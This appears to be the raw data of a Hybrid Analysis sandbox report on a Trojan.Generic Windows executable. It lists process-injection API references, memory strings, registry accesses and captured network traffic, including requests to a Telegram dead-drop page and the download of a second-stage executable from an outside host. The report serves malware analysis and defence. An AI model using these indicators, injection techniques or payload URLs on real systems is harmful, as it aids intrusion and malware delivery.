24:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/3fc9w1ah_nm2g.js"],"SampleDetailWrapper"] 87:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T4cc,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.Generic Sample 81ddacc1d468… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 81ddacc1d468…. Malware family: Trojan.Generic. Threat score 100/100. 15/27 AV engines flagged this file. 15 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee","keywords":["Malicious","Trojan.Generic","malware analysis","sandbox report","threat intelligence","81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee"],"about":{"@type":"SoftwareApplication","name":"81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin","applicationCategory":["peexe","assembly","executable"],"identifier":"81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Trojan.Generic","antivirusDetections":{"malicious":15,"total":27},"behavioralIndicators":{"malicious":15,"suspicious":19},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T1194,Found string ":\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" (Source: "00000000-00001540.00000000.180439.02C10000.00000004.mdmp, 00000000-00001540.00000000.180439.07330000.00000004.mdmp, 00000000-00001540.00000001.180699.02C10000.00000004.mdmp, 00000000-00001540.00000001.180699.07330000.00000004.mdmp") Found string ".Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" (Source: "00000000-00001540.00000000.180439.02C10000.00000004.mdmp") Found string "2,"System.Management.Automation Version=3.0.0.0 Culture=neutral PublicKeyToken=31bf3856ad364e35",0" (Source: "00000000-00001540.00000000.180439.02C10000.00000004.mdmp, 00000000-00001540.00000001.180699.02C10000.00000004.mdmp") Found string "System.Management.Automation.dll" (Source: "00000000-00001540.00000000.180439.02C10000.00000004.mdmp, 00000000-00001540.00000000.180439.04B90000.00000004.mdmp, 00000000-00001540.00000001.180699.02C10000.00000004.mdmp") Found string "C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" (Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp") Found string "System.Management.Automation" (Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp") Found string "System.Management.Automation.resources" (Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp") Found string "file:///C:/WINDOWS/Microsoft.Net/assembly/GAC_MSIL/System.Management.Automation/v4.0_3.0.0.0__31bf3856ad364e35/System.Management.Automation.dll" (Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp") Found string "System.Management.Automation.resources, Version=3.0.0.0, Culture=en-US, PublicKeyToken=31bf3856ad364e35" (Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp") Found string "return [System.Management.Automation.CommandCompletion]::CompleteInput($inputScript, $cursorColumn," (Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp") Found string "[System.Management.Automation.Language.Ast] $ast," (Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp") Found string "[System.Management.Automation.Language.Token[]] $tokens," (Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp") Found string "[System.Management.Automation.Language.IScriptPosition] $positionOfCursor," (Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp") Found string "return [System.Management.Automation.CommandCompletion]::CompleteInput(" (Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp") Found string "# .ExternalHelp System.Management.Automation.dll-help.xml" (Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp") Found string "[System.Management.Automation.PSCredential]" (Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp") Found string "$wrappedCmd = $ExecutionContext.InvokeCommand.GetCommand('New-Item', [System.Management.Automation.CommandTypes]::Cmdlet)" (Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp") Found string "$wrappedCmd = $ExecutionContext.InvokeCommand.GetCommand('Out-String',[System.Management.Automation.CommandTypes]::Cmdlet)" (Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp") Found string "System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, ProcessorArchitecture=MSIL" (Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp") Found string "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\System.Management.Automation.dll" (Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp") Found string "System.Management.Automation.dll-Help.xml" (Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp") Found string "System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" (Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp") Found string "$errorRecord = [System.Management.Automation.ErrorRecord]::new($_.Exception,"NewTemporaryFileWriteError", "WriteError", $env:TEMP)" (Source: "00000000-00001540.00000000.180439.07330000.00000004.mdmp, 00000000-00001540.00000001.180699.07330000.00000004.mdmp") Found string "System.Management.Automationa" (Source: "00000000-00001540.00000000.180439.07330000.00000004.mdmp, 00000000-00001540.00000001.180699.07330000.00000004.mdmp")26:T9c5,Found reference to API "VirtualFreeEx" (Indicator: "VirtualFree"; File: "81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin") Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin") Found reference to API "CreateThread failed" (Indicator: "CreateThread"; File: "81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin") Found reference to API "LsaFreeMemory" (Indicator: "FreeMemory"; File: "00000000-00003604.00000000.181088.00C21000.00000020.mdmp") Found reference to API "SamFreeMemory" (Indicator: "FreeMemory"; File: "00000000-00003604.00000000.181088.00C21000.00000020.mdmp") Found reference to API "ZwMapViewOfSection" (Indicator: "ZwMapViewOfSection"; File: "00000000-00001900.00000001.183241.C2461000.00000040.mdmp") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; File: "00000000-00001900.00000001.183241.C2461000.00000040.mdmp") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; File: "00000000-00001900.00000001.183241.C2461000.00000040.mdmp") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAlloc"; File: "00000000-00001900.00000001.183241.C2461000.00000040.mdmp") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAllocEx"; File: "00000000-00001900.00000001.183241.C2461000.00000040.mdmp") Found reference to API "WriteProcessMemory" (Indicator: "WriteProcessMemory"; File: "00000000-00001900.00000001.183241.C2461000.00000040.mdmp") Found reference to API "CreateThreadpoolTimer" (Indicator: "CreateThread"; File: "00000000-00006816.00000000.181749.00A21000.00000020.mdmp") Found reference to API "CreateThreadpoolWait" (Indicator: "CreateThread"; File: "00000000-00006816.00000000.181749.00A21000.00000020.mdmp") Found reference to API "CreateThreadpoolWork" (Indicator: "CreateThread"; File: "00000000-00006816.00000000.181749.00A21000.00000020.mdmp") Found reference to API "WTSFreeMemory" (Indicator: "FreeMemory"; File: "81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; Source: "00000000-00000892.00000000.182759.009F3000.00000004.mdmp") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; Source: "00000000-00000892.00000000.182759.009F3000.00000004.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00000892.00000000.182759.009F3000.00000004.mdmp")27:T445,Found reference to API "NtOpenThread" (Indicator: "OpenThread"; File: "00000000-00001900.00000001.183241.C2461000.00000040.mdmp") Found reference to API "NtAlertResumeThread" (Indicator: "ResumeThread"; File: "00000000-00001900.00000001.183241.C2461000.00000040.mdmp") Found reference to API "CreateRemoteThread" (Indicator: "CreateRemoteThread"; File: "00000000-00001900.00000001.183241.C2461000.00000040.mdmp") Found reference to API "OpenThread" (Indicator: "OpenThread"; File: "00000000-00001900.00000001.183241.C2461000.00000040.mdmp") Found reference to API "SuspendThread" (Indicator: "SuspendThread"; File: "00000000-00001900.00000001.183241.C2461000.00000040.mdmp") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; File: "00000000-00001900.00000001.183241.C2461000.00000040.mdmp") Found reference to API "GetThreadContext" (Indicator: "GetThreadContext"; File: "00000000-00001900.00000001.183241.C2461000.00000040.mdmp") Found reference to API "SetThreadContext" (Indicator: "SetThreadContext"; File: "00000000-00001900.00000001.183241.C2461000.00000040.mdmp")28:Tde7,Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; File: "81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin") Found reference to API "QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; File: "81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin") Found reference to API "WaitForMultipleObjects error %d, GetLastError %d" (Indicator: "WaitForMultipleObjects"; File: "81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin") Found reference to API "NtQuerySystemInformation" (Indicator: "NtQuerySystemInformation"; File: "00000000-00001900.00000001.183241.C2461000.00000040.mdmp") Found reference to API "GetTickCount64" (Indicator: "GetTickCount64"; File: "00000000-00006816.00000000.181749.00A21000.00000020.mdmp") Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; File: "81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin") Found reference to API "SetWaitableTimer" (Indicator: "SetWaitableTimer"; File: "81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; File: "81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; File: "81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin") Found reference to API "SleepEx" (Indicator: "SleepEx"; File: "81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin") Found reference to API "SetTimer" (Indicator: "SetTimer"; File: "81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00000892.00000000.182759.009F3000.00000004.mdmp") Found reference to API "SetTimer" (Indicator: "SetTimer"; Source: "00000000-00000892.00000000.182759.009F3000.00000004.mdmp") Found reference to API "MsgWaitForMultipleObjectsEx" (Indicator: "WaitForMultipleObjects"; Source: "00000000-00000892.00000000.182759.009F3000.00000004.mdmp") Found reference to API "MsgWaitForMultipleObjectsEx" (Indicator: "WaitForMultipleObjectsEx"; Source: "00000000-00000892.00000000.182759.009F3000.00000004.mdmp") Found reference to API "MsgWaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; Source: "00000000-00000892.00000000.182759.009F3000.00000004.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; Source: "00000000-00001540.00000001.180699.00AD1000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00001540.00000001.180699.00AD1000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00001540.00000001.180699.00AD1000.00000002.mdmp, 00000000-00001540.00000001.180699.71A85000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00001540.00000001.180699.00AD1000.00000002.mdmp, 00000000-00001540.00000001.180699.71A85000.00000002.mdmp")29:T67b,Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; File: "81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; File: "81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; File: "81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; File: "81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; File: "81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin") Found reference to API "FreeLibraryWhenCallbackReturns" (Indicator: "FreeLibrary"; File: "00000000-00006816.00000000.181749.00A21000.00000020.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00000892.00000000.182759.009F3000.00000004.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00000892.00000000.182759.009F3000.00000004.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00000892.00000000.182759.009F3000.00000004.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00001540.00000001.180699.00AD1000.00000002.mdmp, 00000000-00001540.00000001.180699.71A85000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00001540.00000001.180699.00AD1000.00000002.mdmp, 00000000-00001540.00000001.180699.71A85000.00000002.mdmp")2a:T7c1,Found string "Format-Custom" (Indicator: "Format-Custom"; Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp") Found string "Format-List" (Indicator: "Format-List"; Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp") Found string "Format-Table" (Indicator: "Format-Table"; Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp") Found string "Format-Wide" (Indicator: "Format-Wide"; Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp") Found string "Convert-Path" (Indicator: "Convert-Path"; Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp") Found string "Export-Alias" (Indicator: "Export-Alias"; Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp") Found string "Export-Csv" (Indicator: "Export-Csv"; Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp") Found string "Export-ModuleMember" (Indicator: "Export-ModuleMember"; Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp") Found string "Export-Console" (Indicator: "Export-Console"; Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp") Found string "file, use Export-Console in Windows PowerShell." (Indicator: "Export-Console"; Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp") Found string "# Format-Hex cmdlet helps in displaying the Hexadecimal equivalent of the input data." (Indicator: "Format-Hex"; Source: "00000000-00001540.00000000.180439.07330000.00000004.mdmp, 00000000-00001540.00000001.180699.07330000.00000004.mdmp") Found string "# valid values (supported on all paltforms where Format-Hex is avaliable)" (Indicator: "Format-Hex"; Source: "00000000-00001540.00000000.180439.07330000.00000004.mdmp, 00000000-00001540.00000001.180699.07330000.00000004.mdmp") Found string "# 170..180 | format-hex" (Indicator: "Format-Hex"; Source: "00000000-00001540.00000000.180439.07330000.00000004.mdmp, 00000000-00001540.00000001.180699.07330000.00000004.mdmp")2b:Tbe6,file/memory contains long string with (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; File: "systemhelper.exe") file/memory contains long string with (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; File: "systemhelper.exe") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=-_." (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; File: "00000000-00001900.00000001.183241.C2461000.00000040.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=-_." (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; File: "00000000-00001900.00000001.183241.C2461000.00000040.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; File: "00000000-00001900.00000001.183241.C2461000.00000040.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; File: "00000000-00001900.00000001.183241.C2461000.00000040.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=-_." (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; Source: "00000000-00000892.00000000.182759.05AE0000.00000040.mdmp, 00000000-00000892.00000000.182759.05CD0000.00000040.mdmp, 00000000-00000892.00000000.182759.40001000.00000020.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=-_." (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; Source: "00000000-00000892.00000000.182759.05AE0000.00000040.mdmp, 00000000-00000892.00000000.182759.05CD0000.00000040.mdmp, 00000000-00000892.00000000.182759.40001000.00000020.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; Source: "00000000-00000892.00000000.182759.05AE0000.00000040.mdmp, 00000000-00000892.00000000.182759.05CD0000.00000040.mdmp, 00000000-00000892.00000000.182759.40001000.00000020.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; Source: "00000000-00000892.00000000.182759.05AE0000.00000040.mdmp, 00000000-00000892.00000000.182759.05CD0000.00000040.mdmp, 00000000-00000892.00000000.182759.40001000.00000020.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; Source: "00000000-00001540.00000000.180439.04B90000.00000004.mdmp")2c:T749,"cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE\ALTERNATE SORTS") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE GROUPS") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE GROUPS") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\IDS") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\IDS") "cmd.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\ICACLS.EXE") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86\XTAJIT") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001")2d:T9b3," HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue 17 Mar 2026 09:05:45 GMT Content-Type: text/html; charset=utf-8 Content-Length: 9582 Connection: keep-alive Set-Cookie: stel_ssid=71d6a596322db97bef_14268494295108583629; expires=Wed 18 Mar 2026 09:05:45 GMT; path=/; samesite=None; secure; HttpOnly Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000 with response body ==>3C21444F43545950452068746D6C3E0A3C68746D6C3E0A20203C686561643E0A202020203C6D65746120636861727365743D227574662D38223E0A202020203C....... "GET / HTTP/1.1 Host: opa.dokantrack.com Cache-Control: no-cache Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0" Response ==> HTTP/1.1 521 Date: Tue 17 Mar 2026 09:05:47 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 15 Connection: keep-alive Cache-Control: private max-age=0 no-store no-cache must-revalidate post-check=0 pre-check=0 Expires: Thu 01 Jan 1970 00:00:01 GMT Referrer-Policy: same-origin Server-Timing: cfEdge;dur=202 cfOrigin;dur=0 X-Frame-Options: SAMEORIGIN Server: cloudflare CF-RAY: 9ddad67baef5ccf8-SJC alt-svc: h3=":443"; ma=86400 with response body ==>6572726F7220636F64653A20353231....... "GET / HTTP/1.1 Host: opa.dokantrack.com Cache-Control: no-cache Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0" Response ==> HTTP/1.1 521 Date: Tue 17 Mar 2026 09:05:47 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 15 Connection: keep-alive Cache-Control: private max-age=0 no-store no-cache must-revalidate post-check=0 pre-check=0 Expires: Thu 01 Jan 1970 00:00:01 GMT Referrer-Policy: same-origin Server-Timing: cfEdge;dur=196 cfOrigin;dur=0 X-Frame-Options: SAMEORIGIN Server: cloudflare CF-RAY: 9ddad6807e97ccf8-SJC alt-svc: h3=":443"; ma=86400 with response body ==>6572726F7220636F64653A20353231....... "GET / HTTP/1.1 Host: opa.dokantrack.com Cache-Control: no-cache Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0" Response ==> HTTP/1.1 521 Date: Tue 17 Mar 2026 09:05:48 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 15 Connection: keep-alive Cache-Control: private max-age=0 no-store no-cache must-revalidate post-check=0 pre-check=0 Expires: Thu 01 Jan 1970 00:00:01 GMT Referrer-Policy: same-origin Server-Timing: cfEdge;dur=185 cfOrigin;dur=0 X-Frame-Options: SAMEORIGIN Server: cloudflare CF-RAY: 9ddad685de5fccf8-SJC alt-svc: h3=":443"; ma=86400 with response body ==>6572726F7220636F64653A20353231....... "GET /files/7782139129/Y9lcbSi.exe HTTP/1.1" Response ==> HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Tue 17 Mar 2026 09:05:48 GMT Content-Type: application/octet-stream Content-Length: 2022912 Last-Modified: Sun 15 Mar 2026 20:42:13 GMT Connection: keep-alive ETag: "69b719a5-1ede00" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C28B00000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /ho00rq HTTP/1.1 Host: telegram.me Cache-Control: no-cache Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0 Cookie: stel_ssid=71d6a596322db97bef_14268494295108583629" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue 17 Mar 2026 09:05:49 GMT Content-Type: text/html; charset=utf-8 Content-Length: 9582 Connection: keep-alive Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000 with response body ==>3C21444F43545950452068746D6C3E0A3C68746D6C3E0A20203C686561643E0A202020203C6D65746120636861727365743D227574662D38223E0A202020203C....... "GET / HTTP/1.1 Host: opa.dokantrack.com Cache-Control: no-cache Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0" Response ==> HTTP/1.1 521 Date: Tue 17 Mar 2026 09:05:50 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 15 Connection: keep-alive Cache-Control: private max-age=0 no-store no-cache must-revalidate post-check=0 pre-check=0 Expires: Thu 01 Jan 1970 00:00:01 GMT Referrer-Policy: same-origin Server-Timing: cfEdge;dur=199 cfOrigin;dur=0 X-Frame-Options: SAMEORIGIN Server: cloudflare CF-RAY: 9ddad6938d407587-SJC alt-svc: h3=":443"; ma=86400 with response body ==>6572726F7220636F64653A20353231....... "GET / HTTP/1.1 Host: opa.dokantrack.com Cache-Control: no-cache Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0" Response ==> HTTP/1.1 521 Date: Tue 17 Mar 2026 09:05:51 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 15 Connection: keep-alive Cache-Control: private max-age=0 no-store no-cache must-revalidate post-check=0 pre-check=0 Expires: Thu 01 Jan 1970 00:00:01 GMT Referrer-Policy: same-origin Server-Timing: cfEdge;dur=175 cfOrigin;dur=0 X-Frame-Options: SAMEORIGIN Server: cloudflare CF-RAY: 9ddad698ed2d7587-SJC alt-svc: h3=":443"; ma=86400 with response body ==>6572726F7220636F64653A20353231....... "GET /ho00rq HTTP/1.1 Host: telegram.me Cache-Control: no-cache Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue 17 Mar 2026 09:05:52 GMT Content-Type: text/html; charset=utf-8 Content-Length: 9582 Connection: keep-alive Set-Cookie: stel_ssid=3fd8758aa7f47f4881_10999291392089757959; expires=Wed 18 Mar 2026 09:05:52 GMT; path=/; samesite=None; secure; HttpOnly Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000 with response body ==>3C21444F43545950452068746D6C3E0A3C68746D6C3E0A20203C686561643E0A202020203C6D65746120636861727365743D227574662D38223E0A202020203C....... "GET / HTTP/1.1 Host: opa.dokantrack.com Cache-Control: no-cache Pragma: no-cache 